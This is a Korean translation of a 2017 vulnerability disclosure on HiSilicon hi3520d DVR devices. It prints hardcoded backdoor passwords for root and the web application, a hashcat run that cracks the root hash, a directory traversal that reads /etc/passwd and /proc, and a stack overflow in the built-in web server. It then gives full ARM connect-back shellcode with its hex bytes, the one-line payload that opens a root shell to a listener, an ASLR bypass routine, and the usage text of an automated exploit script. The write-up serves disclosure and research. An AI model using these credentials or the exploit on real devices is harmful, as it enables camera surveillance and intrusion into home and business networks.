
= HiSilicon DVR 해킹 Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: 목차 :image_width: 100%
[abstract] 이 보고서는 HiSilicon hi3520d 및 유사한 시스템 온 칩(SoC)을 사용하는 DVR/NVR 장치의 심각한 취약점(개념 증명(PoC) 코드 포함)을 공개합니다. 이 취약점을 악용하면 웹 인터페이스만으로 인증되지 않은 원격 코드 실행(RCE)이 가능해지며, 악용된 장치를 완전히 장악할 수 있습니다. 업그레이드된 펌웨어가 없기 때문에 이러한 장치를 사용하는 것은 권장되지 않습니다. 2016년 12월 이전에 공급업체에 연락했지만 여전히 응답이 없습니다. 공개 날짜는 2017년 2월입니다.
== 서문
몇 년 전에 나는 eBay에서 값싼 중국제 DVR 장치를 하나 샀다. 장치의 부팅 로고에는 "SECULINK - Security Monitoring"이라고 적혀 있다. IT 보안 애호가로서, 그 보안 모니터링 서비스가 얼마나 "안전한지" 확인하기 위해 장치를 자세히 살펴보기로 했다. 주제에 대해 구글링하던 중 흥미로운 자료를 몇 가지 발견했지만, 더 깊이 파고들자 그 장치에 대해 훨씬 더 흥미롭고 훨씬 더 심각한 문제(0-days)를 발견했다.
처음부터 전체 해킹 과정을 살펴보자. (새롭고 독자적인 성과는 물론 기존에 알려진 것들도 함께 언급할 것이다.)
== DVR 살펴보기
먼저 공식 사용자 인터페이스를 익힌 다음 더 깊이 파고들어 펌웨어를 얻으려고 시도해 보자. 취약점을 발견할 가능성은 펌웨어와 함께 높아진다.
=== DVR 첫인상
테스트용 DVR 장치는 "Seculink" 브랜드로 판매된다.
image::./seculink_device.png[Seculink DVR 장치]
사용 가능한 물리적 인터페이스:
공식 사용자 인터페이스:
직접 액세스 가능한 설정 인터페이스는 사용자 인증(사용자 이름, 비밀번호)으로 보호된다. 기본 슈퍼유저는 'admin'이고 기본 비밀번호는 비어 있다.
강력한 비밀번호를 설정한 후에는 자신의 카메라 화면을 다른 사람이 볼 수 없다고 느낄 수 있다. 사람들은 종종 DVR 장치의 웹 포트(tcp/80)를 안전한 LAN에서 WAN 쪽으로 포워딩하여 외부에서 DVR 스트림에 접근한다 (예를 들어 적절한 Shodan 검색으로 확인할 수 있다 ;) ).
=== 펌웨어 획득
펌웨어를 얻는 방법은 여러 가지가 있을 수 있다:
여기서는 후자(다운로드) 방법이 작동하고 가장 쉽지만, 첫 번째 방법을 시도해 보자. 첫 번째 방법은 장치에 대한 다른 정보도 제공하기 때문이다.
=== 서비스 스캐닝
DVR에 대해 전체 포트 스캔을 수행해 보자. (root로 실행할 때 기본인) SYN 스캔은 드롭된 패킷 때문에 매우 느리지만, 전체 TCP 연결 스캔은 몇 분 안에 끝난다.
Nmap scan report for dvr.lan (192.168.88.127) Host is up (0.028s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet BusyBox telnetd 80/tcp open http uc-httpd 1.0.0 554/tcp open rtsp LuxVision or Vacron DVR rtspd 9527/tcp open unknown 34567/tcp open dhanalakshmi? 34599/tcp open unknown MAC Address: 00:12:12:15:B3:E7 (Plus ) Service Info: Host: LocalHost; Device: webcam
요약 및 수동 테스트:
rtsp 스트림을 여는 데에도 자격 증명이 필요하다는 점에 유의하라.
여기서 이 장치는 아마도 Linux 계열 시스템일 것이라고 말할 수 있다.
9527/tcp에 (raw netcat으로) 연결하면 로깅 메시지와 로그인 프롬프트가 있는 애플리케이션 콘솔이 표시된다. 정의된 애플리케이션 자격 증명 중 하나로 로그인하면 작동한다. 프롬프트에서 help를 입력하면 콘솔 명령에 대한 간단한 설명이 표시된다. shell 명령이 가장 흥미로워 보인다. 그렇다, 장치에 루트 셸을 제공한다. ;)
이것은 분명히 심각한 보안 문제이다. (낮은 권한의) 애플리케이션 사용자가 장치에서 자동으로 루트 셸을 얻어서는 안 되기 때문이다.
=== 루트 셸
루트 셸에서 장치를 탐색해 보면 (예: dmesg) DVR이 Linux 커널(버전 3.0.8)을 실행하고 있고 ARMv7 CPU를 가지며 SoC 모델이 hi3520d라는 것이 분명해진다.
실행 중인 프로세스 목록(ps)에서 DVR 애플리케이션이 /var/Sofia이며, 이는 nmap이 탐지한 위의 tcp 포트 외에도 34568/udp 및 34569/udp에서도 수신 대기 중임을 알 수 있다 (netstat -nlup).
마운트된 디스크 목록(mount 명령)에서 펌웨어 이미지가 /dev/mtdblockX 장치(X=0,1,2,3,4,5)에 있음이 분명하다.
펌웨어는 작고 따라서 제한적이므로, 장치에서/로 파일을 복사하려면 창의적이어야 한다. 다행히 NFS를 지원하므로 데스크톱 머신에 NFS 서버를 설정하고 DVR에서 마운트하면 문제가 해결된다:
이제 펌웨어를 얻는 것은 간단하다:
파일(원시 이미지뿐만 아니라)을 얻을 수도 있다:
=== 텔넷 인터페이스
텔넷 인터페이스(포트 23/tcp)를 통해 장치에 접근하려면 OS 자격 증명이 필요할 수 있다. /etc/passwd를 보면 root 사용자의 비밀번호 해시가 있다:
root 외에는 다른 사용자가 없으며 모든 것이 전체 권한으로 실행된다는 점에 유의하라. (그래서 누군가 어떻게든 장치에 침입하면 장벽이 없으며, 공격자는 즉시 완전한 권한을 얻는다.)
6자리 영숫자(소문자) 비밀번호를 가정하면 hashcat은 위의 약한 DES 해시를 빠르게 크랙한다:
$ ./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
absxcfbgXtb3o:xc3511
Session..........: hashcat Status...........: Cracked Hash.Type........: descrypt, DES (Unix), Traditional DES Hash.Target......: absxcfbgXtb3o Time.Started.....: Sun Sep 3 03:25:07 2017 (2 mins, 29 secs) Time.Estimated...: Sun Sep 3 03:27:36 2017 (0 secs) Guess.Mask.......: ?1?1?1?1?1?1 [6] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 815.9 kH/s (203.13ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 121360384/2176782336 (5.58%) Rejected.........: 0/121360384 (0.00%) Restore.Point....: 93440/1679616 (5.56%) Candidates.#1....: sa8711 -> h86ani HWMon.Dev.#1.....: N/A
따라서 사용자 root와 비밀번호 xc3511을 사용하면 포트 23/tcp의 텔넷 인터페이스를 통해 로그인할 수 있다. 닫을 수 없는 텔넷 인터페이스에서 접근 가능한 이 하드코딩된 root 계정은 분명히 백도어이다.
이러한 결과는 우리의 연구 이전에 다른 사람들에 의해 거의 알려져 있었지만, 다음 내용은 완전히 새로운 것이다.
== 펌웨어 리버싱
펌웨어를 탐색해 보면 바이너리 /var/Sofia가 비디오 처리 등을 제외한 모든 인터페이스를 구현하는 주요 애플리케이션임을 알 수 있다. 따라서 이 바이너리가 우리에게 가장 흥미로워 보인다.
불행히도 (정적으로 링크되어 있고) 스트립(stripped)되어 있어 정적 분석이 더 어렵다:
따라서 정적 분석(radare2 또는 IDA 사용) 외에도 동적 분석이 매우 유용할 것이다.
=== 원격 gdb
동적 분석을 위해서는 원격 /var/Sofia 애플리케이션에 GNU 프로젝트 디버거(GDB)를 연결하는 것이 유리할 것이다. 권장되는 방법은 원격 장치에서 gdbserver를 실행(및 연결)하고 로컬 머신에서 gdb로 연결하는 것이다.
물론 적절한 ARM 아키텍처용으로 (가급적 정적으로) 컴파일된 gdbserver가 필요하다. 이를 빌드하려면 임베디드 시스템(우리의 DVR과 같은)에 권장되는 C 라이브러리인 https://www.uclibc.org/[µClibc]를 사용할 수 있다. 사용 가능한 빌드는 동적 빌드인데, 이는 우리 DVR에서 문제가 되므로 직접 맞춤형 정적 빌드를 만들어야 한다. https://buildroot.org/[Buildroot]라는 훌륭한 빌드 환경이 있으며, 이를 사용하면 바로 빌드할 수 있다 (make menuconfig로 필요한 앱(예: gdb)을 선택하고, 정적 라이브러리를 선택하는 것을 잊지 말고, make를 실행하면 된다).
짧은 빌드 시간(~10-15분) 후에 필요한 모든 도구를 사용할 수 있다. 정적 바이너리는 앞서 언급한 NFS 방법으로 장치에 전송할 수 있다. Sofia 바이너리가 포함된 /var 디렉토리는 ramfs이므로 재부팅 후에도 유지되지 않는다는 점에 유의하라. 바이너리를 (거의) 영구적으로 전송하려면 구성 파일이 포함된 rw 파티션 /mnt/mtd가 적합한 대상이 될 것이다. openssh 패키지도 빌드하면 scp를 사용할 수 있어 파일 전송이 더 쉬워진다.
이제 펌웨어는 리버싱할 준비가 되었다. 원격으로 gdbserver를 연결하는 것이 이제 작동한다 (Sofia 프로세스의 PID는 ps로 쉽게 얻을 수 있다):
로컬 머신에서 연결:
일부 GDB 확장(예: http://gef.readthedocs.io/en/master/[GEF])을 사용하는 것이 좋다. 어떤 이유로 애플리케이션 일시 중지(C-c)가 작동하지 않으면 Sofia 프로세스에 TRAP 신호를 보내면(kill -TRAP 610) 일시 중지될 것이다.
=== 인증 절차 검사
정적 분석을 위한 권장 도구는 당연히 Hex-Ray의 https://www.hex-rays.com/products/ida/[IDA Pro]이다. 불행히도 저렴하지는 않지만 다른 어떤 도구보다 훨씬 낫다.
초기 자동 분석 후 15,000개 이상의 함수가 있지만, IDA를 사용하면(간단한 Python 스크립팅으로) 인증 함수를 찾는 것은 순식간이다. 아래의 https://www.hex-rays.com/products/ida/support/idapython_docs/[IDAPython] 스니펫은 "Users" and "Password"와 관련된 모든 것을 (동시에) 참조하는 함수를 검색한다:
결과는 단 하나의 함수뿐이다: sub_2D857C. 이 함수를 빠르게 분석해 보면 이것이 인증 함수임을 확인할 수 있다.
(구성에서 사용자의 비밀번호 해시를 가져오기 전에) 하드코딩된 문자열에 대해 평문 비밀번호를 먼저 확인하는 초기 검사가 있다. 이 검사를 통과하면 인증이 허용된다. 이는 애플리케이션의 지저분한 백도어이다. 범용 비밀번호는 I0TO5Wv9이다.
이 비밀번호를 사용하면 어떤 사용자(예: admin)로도 애플리케이션의 모든 것에 접근할 수 있다. 예를 들어 비디오 스트림을 얻을 수 있다:
또는 애플리케이션 콘솔(9527/tcp)에서 루트 셸을 얻는 것도 작동한다:
$ nc 192.168.88.127 9527 nc: using stream socket
인증 알고리즘에서 한 가지 더 흥미로운 결과가 있다: 어떤 상황에서는 인증 함수가 비밀번호뿐만 아니라 해시도 허용한다. rtsp 비디오 스트림을 여는 것은 비밀번호가 아닌 해시(/mnt/mtd/Config/Account1에 저장됨)로도 가능하다. 예를 들어, tlJwpbo6은 빈 비밀번호의 해시이다 (다음 섹션도 참조). 따라서```
cvlc 'rtsp://192.168.88.127:554/user=admin&password=&channel=1&stream=0.sdp'
cvlc 'rtsp://192.168.88.127:554/user=admin&password=tlJwpbo6&channel=1&stream=0.sdp'
또한 작동합니다.
=== 비밀번호 해시 함수
auth 함수에 대한 (더 깊은) 정적 분석의 또 다른 결과: 비밀번호 해시 함수는 `sub_3DD5E4`입니다. 기본적으로 이상한 변환이 포함된 MD5입니다. 이를 역분석하여 Python으로 구현했습니다:
[source,python]
----
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
----
구현된 해시 알고리즘을 사용하면 비밀번호를 무차별 대입하거나 임의의 비밀번호를 설정할 수 있습니다.
== 내장 웹서버의 버퍼 오버플로
Sofia 바이너리는 80/tcp 포트에서 HTTP 요청을 처리합니다. 요청으로 간단한 퍼징을 시도해 봅시다. 물론 gdb를 연결하면(위 참조) 도움이 될 것입니다. 실제로는 콘솔 출력도 확인하기 위해 Sofia 프로세스를 종료하고 gdbserver로 다시 시작해야 합니다:
----
$ kill 610
$ /mnt/mtd/gdbserver :2000 /var/Sofia
----
그리고 로컬에서:
----
$ gdb -q -ex 'set gnutarget elf32-littlearm' -ex 'target remote 192.168.88.127:2000'
gef> c
----
이제 GET 요청을 살펴봅시다. 응답이 없습니다:
----
$ echo 'GET /' | nc 192.168.88.127 80
----
정상 응답(끝에 적절한 종료 및/또는 개행이 없어도):
----
$ echo -ne 'GET / HTTP' | nc 192.168.88.127 80
----
아주 긴 요청으로 오버플로를 테스트합니다:
----
$ python -c 'print "GET " + "a"*1000 + " HTTP"' | nc 192.168.88.127 80
----
좋습니다. 응답은 200과 함께 "404 File Not Found" 메시지가 있지만, gdb에서 멋진 크래시를 볼 수 있습니다. ;)
참고로 Sofia 애플리케이션에는 watchdog 커널 모듈이 활성화되어 있습니다. 1분 동안 실행되지 않으면 장치가 재부팅됩니다. 원격 장치로 실험할 때는 좋은 면도 있지만, 디버깅을 원활하게 수행하려면 나쁜 면도 있습니다.
watchdog은 시작되면 끌 수 없으므로, 이를 제거하는 유일한 방법은 재플래싱을 통해 읽기 전용 펌웨어를 수정하는 것입니다. 테스트 장치를 벽돌로 만들고 싶지 않다면 권장하지 않습니다. ;)
=== 프로그램 흐름 제어
크래시가 왜 멋진가? (공격자의 관점에서) 원격 프로세스 Sofia는 SIGSEGV(세그멘테이션 오류)를 일으키고, 스택은 우리의 "a" 문자로 가득 차지만, 가장 중요한 것은: $pc(프로그램 카운터) 레지스터에 우리가 주입한 값 `0x61616160` ("aaaa" - 1)이 들어 있다는 것입니다 (아마도 ret에 의해 발생하지만 원인은 중요하지 않습니다). 이것은 전형적인 스택 오버플로이며, 프로그램 흐름을 쉽게 제어할 수 있는 기회를 의미합니다.
약간의 실험(구간 반분) 후:
----
$ python -c 'print "GET " + "0123" + "a"*(299-4) + "wxyz" + " HTTP"' | nc 192.168.88.127 80
----
이 역시 SIGSEGV를 발생시키고, $pc 레지스터는 `0x7a797876`입니다 (~"wxyz"; 바이트 순서가 리틀엔디안이므로 역순이고, 정렬 때문에 -1). 우리의 페이로드는 ("0123aaa..."로 시작) $sp+0x14(스택 베이스 + 0x14)에 있습니다.
=== 원격 코드 실행
이러한 오버플로를 가장 쉽고 효과적으로 악용하는 방법은 스택에 셸코드를 주입하고 프로그램 흐름을 그쪽으로 리디렉션하는 것입니다. 이렇게 하면 대상에서 임의의 원격 코드 실행이 가능합니다. 장치 OS에는 권한 분리가 없으므로 이는 완전한 제어(root 쉘 접근)를 의미합니다.
하지만 최신(모던) 완화 기술이 활성화되어 있어 공격자의 삶을 훨씬 어렵게 만들 수도 있습니다.
스택의 셸코드로부터 보호하는 가장 기본적인 방법은 NX(No-eXecute) 비트 기술입니다. 이는 선택된 메모리 페이지(일반적으로 스택과 같이 쓰기 권한이 있는 페이지)에서 코드 실행을 방지할 수 있습니다. 다행히도(공격자의 관점에서 ;) ), NX 비트가 설정되어 있지 않습니다(STACK 플래그 rwx 참조):
----
$ objdump -b elf32-littlearm -p Sofia
Sofia: file format elf32-littlearm
Program Header:
0x70000001 off 0x00523f34 vaddr 0x0052bf34 paddr 0x0052bf34 align 2**2
filesz 0x000132a8 memsz 0x000132a8 flags r--
LOAD off 0x00000000 vaddr 0x00008000 paddr 0x00008000 align 2**15
filesz 0x005371dc memsz 0x005371dc flags r-x
LOAD off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**15
filesz 0x000089c8 memsz 0x000dad8c flags rw-
TLS off 0x005371dc vaddr 0x005471dc paddr 0x005471dc align 2**2
filesz 0x00000004 memsz 0x00000018 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rwx
private flags = 5000002: [Version5 EABI]<Unrecognised flag bits set>
----
또는 gdb gef에서 `checksec`을 사용하면 됩니다. gdb gef의 `checksec`은 스택 카나리와 같은 다른 완화 조치가 없다는 것도 알려줍니다 (스택 카나리가 있으면 스택 오버플로로 $pc를 제어할 수 없으므로 당연한 것입니다).
RCE를 작동시키기 전에 알아야 할 유일한 것은 스택 주소입니다. 프로그램 흐름을 셸코드로 리디렉션하려면 페이로드의 적절한 위치(위의 "wxyz")에 $sp+0x14 주소를 주입해야 합니다.
이를 더 어렵게 만들 수 있는 또 다른 완화 기술(또는 어떤 경우에는 거의 불가능에 가깝게)이 있습니다: ASLR(주소 공간 레이아웃 무작위화). ASLR은 메모리 세그먼트의 기본 주소(예: 스택의 기본 주소)를 무작위화합니다.
운이 없게도 ASLR이 활성화되어 있습니다("2"는 전체 무작위화, "0"은 비활성화):
----
$ cat /proc/sys/kernel/randomize_va_space
2
----
==== ASLR 없이 RCE
먼저 ASLR을 끈 상태에서 오버플로를 악용해 봅시다.
----
$ echo 0 > /proc/sys/kernel/randomize_va_space
----
위 절차를 따르면 SIGSEGV 크래시 시점의 스택 주소($sp)가 0x5a26f3d8임을 알 수 있습니다(ASLR을 끈 상태에서는 여러 실행에서 동일합니다).
따라서 페이로드는 다음과 같아야 합니다:
----
python -c 'print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xd8\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
----
여기서 셸코드는 실행하려는 것이어야 하며, 바람직하게는 connectback 셸코드입니다. 피해야 할 "badchar"가 있음에 유의하세요: 0x00, 0x0d ('\n'), 0x20 (' '), 0x26 ('&'), 0x3f ('?'). 게다가 299바이트 크기 제한이 있습니다. 셸코드 생성기는 우리의 badchar 목록을 처리할 수 없으며, 자동 인코더를 사용해도 크기 제한 때문에 문제를 해결할 수 없습니다.
따라서 맞춤형 셸코드를 생성해야 합니다. 여기의 셸코드는 socket, connect, dup2 및 execve 시스템 호출(ARM 세계의 용어로는 supervisor 호출)을 사용하여 connectback 쉘을 제공합니다. badchar를 피하려면 엄격하고 창의적이어야 합니다. 레이블은 사용되지 않아야 합니다. 레이블은 단지 가독성을 위한 것입니다.
[source,asm]
----
.section .text
.global _start
@ ensure switching to thumb mode (arm mode instructions)
.code 32
_0: add r1, pc, #1
_4: bx r1
@ thumb mode instructions
_start:
.code 16
@ *0x52 -= 1 (port -= 0x100; make it possible to use port numbers <1024)
_8: add r1, pc, #68 @ r1 <- pc+68 = 0xc+68 = 0x50
_a: ldrb r2, [r1, #2] @ r2 <- *0x52
_c: sub r2, #1 @ r2 <- r2-1
_e: strb r2, [r1, #2] @ r2 -> *0x52
@ socket(2, 1, 0) = socket(AF_INET, SOCK_DGRAM, 0)
_10: mov r1, #2 @ r1 <- 2
_12: add r0, r1, #0 @ r0 <- r1 + 0 = 2
_14: mov r1, #1 @ r1 <- 1
_16: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_18: lsl r7, r1, #8 @ r7 <- r1<<8 = 1<<8 = 256
_1a: add r7, #25 @ r7 <- r7 + 25 = 281
_1c: svc 1 @ r0 <- svc_281(r0, r1, r2) = socket(2, 1, 0)
@ connect(r0, 0x50, 16) = connect(&socket, &struct_addr, addr_len)
_1e: add r6, r0, #0 @ r6 <- r0 + 0 = &socket
_20: add r1, pc, #44 @ r1 <- pc+44 = 0x24+44 = 0x50
_22: mov r3, #2 @ r3 <- 2
_24: strh r3, [r1, #0] @ 2 -> *0x50
_26: mov r2, #16 @ r2 <- 16
_28: add r7, #2 @ r7 <- r7 + 2 = 283
_2a: svc 1 @ r0 <- svc_283(r0, r1, r2) = connect(&socket, 0x50, 16)
@ attach stdin/stdout/stderr to socket: dup2(r0, 0), dup2(r0, 1), dup2(r0, 2)
_2c: mov r7, #62 @ r7 <- 62
_2e: add r7, #1 @ r7 <- r7 + 1 = 63
_30: mov r1, #200 @ r1 <- 200
_32: add r0, r6, #0 @ r0 <- r6 + 0 = &socket
_34: svc 1 @ r0 <- svc_63(r0, r1) = dup2(&socket, 0..200)
_36: sub r1, #1 @ r1 <- r1 - 1
_38: bpl _32 @ loop until r1>0 (dup2 every fd to the socket)
@ execve('/bin/sh', NULL, NULL)
_3a: add r0, pc, #28 @ r0 <- pc+28 = 0x3c+28 = 0x58
_3c: sub r2, r2, r2 @ r2 <- r2 - r2 = 0
_3e: strb r2, [r0, #7] @ 0 -> *(0x58+7), terminate '/bin/sh' with \x00
_40: push {r0, r2} @ *sp <- {r0, r1, r2} = {0x58, 0x0, 0x0}
_42: mov r1, sp @ r1 <- sp
_44: mov r7, #11 @ r7 <- 11
_46: svc 1 @ svc_11(r0, r1, r2) = execve('/bin/sh\x00', ['/bin/sh\x00', 0], 0)
_48: mov r7, #1 @ r7 <- 1
_4a: add r0, r7, #0 @ r0 <- r7 + 0 = 1
_4c: svc 1 @ svc_1(r0) = exit(1)
_4e: nop
@ struct sockaddr (sa_family = 0x0002 (set by shellcode), sa_data = (port, ip) )
_50: .short 0xffff
_52: .short 0x697b @ port 31377 (hex(31337+0x100) in little-endian)
_54: .byte 192,168,88,100 @ inet addr: 192.168.88.100
_58: .ascii "/bin/shX" @ 'X' will be replaced with \x00 by the shellcode
.word 0xefbeadde @ deadbeef ;)
----
셸코드를 컴파일하고 원시 바이너리 바이트를 얻는 방법(ARM용 크로스 툴을 사용하면 되며, 예를 들어 `buildroot-2017.02.5/output/host/usr/bin/`에 buildroot로 빌드된 것도 좋습니다):
----
$ armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
$ armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
$ armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
$ cat shellcode.bin | xxd -p
01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df
061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0
921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62
696e2f736858deadbeef
----
이것을 페이로드와 함께 주입하면 익스플로잇이 작동하고, 원격 장치에 connectback 쉘을 제공할 것입니다.
물론 먼저 `192.168.88.100`에서 리스너를 시작합니다:
----
$ nc -nvlp 31337
----
그런 다음 페이로드를 시작합니다:
----
$ python -c 'shellcode = "01108fe211ff2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba102230b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b469460b2701df0127381c01dfc046ffff7b69c0a858642f62696e2f736858deadbeef".decode("hex"); print "GET " + shellcode + "a"*(299-len(shellcode)) + "\xec\xf3\x26\x5a" + " HTTP"' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<html><head><title>404 File Not Found</title></head>
<body>The requested URL was not found on this server</body></html>
----
익스플로잇이 작동할 것입니다! :) 로컬 gdb에서:
----
process 1064 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
----
그리고 netcat 리스너에서 RCE가 준비됩니다:
----
nc: connect to 192.168.88.100 31337 from 192.168.88.127 55442
nc: using stream socket
----
이제 원격 시스템에서 임의의 명령을 (root로!) 실행할 수 있습니다.
하지만 불행히도 이 익스플로잇은 실제 배포에 사용할 준비가 되지 않았습니다. ASLR이 켜져 있어 셸코드 시작 주소를 알 수 없기 때문입니다. 아직은요.
==== ASLR 무력화
ASLR을 무력화하는 것은 쉬운 일이 아니지만, 종종 약간의 창의성으로 가능합니다. 일반적으로 두 가지 방법이 있습니다:
* 무작위화기의 약점을 찾아 무차별 대입 또는 부분 유출 / 부분 덮어쓰기로 공격하는 방법,
* 원격 바이너리의 무작위화된 메모리 주소를 유출하는 방법.
무차별 대입은 쓸모없어 보입니다(잘못된 주소를 트리거하면 크래시와 느린 재부팅이 발생). 따라서 유출만이 편리한 방법으로 보입니다(찾을 수 있다면).
오랜 연구 끝에 거의 포기할 뻔했고, 어떤 유출도 찾을 수 없었지만, 완전히 다른 방향에서 아이디어가 떠올랐습니다.
웹서버에는 다른 취약점, 즉 전형적인 디렉토리 경로 이동(directory traversal) 취약점이 있습니다. 사실 이것은 디렉토리 목록을 나열하는 데도 사용할 수 있습니다(이것 역시 중요할 것입니다).
디렉토리 경로 이동 취약점은 다음을 의미합니다:
----
$ echo -ne 'GET ../../etc/passwd HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
----
또한 디렉토리 목록도 얻을 수 있습니다:
----
$ echo -ne 'GET ../../etc HTTP' | nc 192.168.88.127 80nc: using stream socket
HTTP/1.0 200 OK
Content-type: application/binary
Server: uc-httpd 1.0.0
Expires: 0
<H1>Index of /mnt/web/../../etc</H1>
<p><a href="//mnt/web/../../etc/.">.</a></p>
<p><a href="//mnt/web/../../etc/..">..</a></p>
<p><a href="//mnt/web/../../etc/fs-version">fs-version</a></p>
<p><a href="//mnt/web/../../etc/fstab">fstab</a></p>
<p><a href="//mnt/web/../../etc/group">group</a></p>
<p><a href="//mnt/web/../../etc/init.d">init.d</a></p>
<p><a href="//mnt/web/../../etc/inittab">inittab</a></p>
<p><a href="//mnt/web/../../etc/mactab">mactab</a></p>
<p><a href="//mnt/web/../../etc/memstat.conf">memstat.conf</a></p>
<p><a href="//mnt/web/../../etc/mtab">mtab</a></p>
<p><a href="//mnt/web/../../etc/passwd">passwd</a></p>
<p><a href="//mnt/web/../../etc/passwd-">passwd-</a></p>
<p><a href="//mnt/web/../../etc/ppp">ppp</a></p>
<p><a href="//mnt/web/../../etc/profile">profile</a></p>
<p><a href="//mnt/web/../../etc/protocols">protocols</a></p>
<p><a href="//mnt/web/../../etc/resolv.conf">resolv.conf</a></p>
<p><a href="//mnt/web/../../etc/services">services</a></p>
<p><a href="//mnt/web/../../etc/udev">udev</a></p>
----
이 취약점은 심각합니다. 공격자가 녹화된 비디오(장치에 HDD 저장소가 있는 경우)를 포함한 모든 파일을 읽을 수 있기 때문입니다.
게다가 이 취약점은 ASLR을 무력화하는 데 도움이 될 수 있습니다.
`/proc` 파일시스템은 `/proc/[pid]` 디렉토리에 실행 중인 프로세스에 대한 많은 정보를 포함합니다. `GET ../../proc`를 사용하여 `/proc`을 나열할 수 있으며, 이렇게 하면 모든 PID를 얻을 수 있습니다. `/proc/[pid]/cmdline`이 `/var/Sofia`이면 애플리케이션의 PID를 찾을 수 있습니다.
ASLR을 무력화하는 데 가장 중요한 정보는 `/proc/[pid]/smaps`에 있습니다. 이 파일은 메모리 페이지 통계, 페이지 주소 및 기타 유용한 정보(예: rss)를 포함합니다. 예를 들어:
----
$ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
/var/Sofia
$ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80
nc: using stream socket
HTTP/1.0 200 OK
Content-type: text/plain
Server: uc-httpd 1.0.0
Expires: 0
...
4b699000-4be98000 rwxp 00000000 00:00 0
Size: 8188 kB
Rss: 4 kB
Pss: 4 kB
Shared_Clean: 0 kB
Shared_Dirty: 0 kB
Private_Clean: 0 kB
Private_Dirty: 4 kB
Referenced: 4 kB
Anonymous: 4 kB
AnonHugePages: 0 kB
Swap: 0 kB
KernelPageSize: 4 kB
MMUPageSize: 4 kB
Locked: 0 kB
...
----
이것은 단지 한 페이지일 뿐이며, 목록에는 약 ~150개의 페이지가 포함되어 있습니다.
위 구조를 살펴보면(페이지 크기, 패턴 등에 주의), 실험과 휴리스틱을 통해 필요한 스레드의 스택이 포함된 페이지를 추측할 수 있습니다. 스택의 기본 주소로부터의 오프셋은 일정합니다(0x7fd3d8).
메모리 페이지를 추측하는 스니펫:
[source,python]
----
def guessregion(smaps):
for t in range(len(smaps)-7, 1, -1):
if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and
smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
return (t+3)
return (-1)
----
여기서 `smaps[t][1][0]`는 `t`번째 전체 페이지의 크기이고, `smaps[t][1][1]`은 관련 RSS입니다.
이 스니펫은 다양한 ASLR이 활성화된 HiSilicon 대상을 자동으로 공격하는 전체 익스플로잇 스크립트의 일부입니다. 스크립트에 대한 간단한 소개:
----
$ ./pwn_hisilicon_dvr.py -h
usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST
[--lport LPORT] [--bhost BHOST] [--bport BPORT]
[-n] [-i] [-p] [-u] [--offset OFFSET]
[--cmdline CMDLINE]
exploit HiSilicon DVR devices
optional arguments:
-h, --help show this help message and exit
--rhost RHOST target host
--rport RPORT target port
--lhost LHOST connectback ip
--lport LPORT connectback port
--bhost BHOST listen ip to bind (default: connectback)
--bport BPORT listen port to bind (default: connectback)
-n, --nolisten do not start listener (you should care about connectback
listener on your own)
-i, --interactive select stack memory region interactively (rather than
using autodetection)
-p, --persistent make connectback shell persistent by restarting dvr app
automatically (DANGEROUS!)
-u, --upload upload tools (now hardcoded "./tools/dropbear" in script)
after pwn
--offset OFFSET exploit param stack offset to mem page base (default:
0x7fd3d8)
--cmdline CMDLINE cmdline of Sofia binary on remote target (default
"/var/Sofia")
----
=== 포스트 익스플로잇
이 RCE로 무엇을 할 수 있을까요? 모든 것입니다. 이것은 웹 서비스 포트 80/tcp만 사용하는 인증되지 않은 RCE라는 점을 기억하세요. 이 포트는 일반적으로 외부로 포워딩되므로, 공격자가 이 RCE를 악용하면 내부 LAN에 접근할 수 있습니다.
우리의 익스플로잇 스크립트에는 (미리 컴파일된) 도구를 피해 장치에 업로드할 수 있는 기능과 같은 유용한 기능이 있습니다.
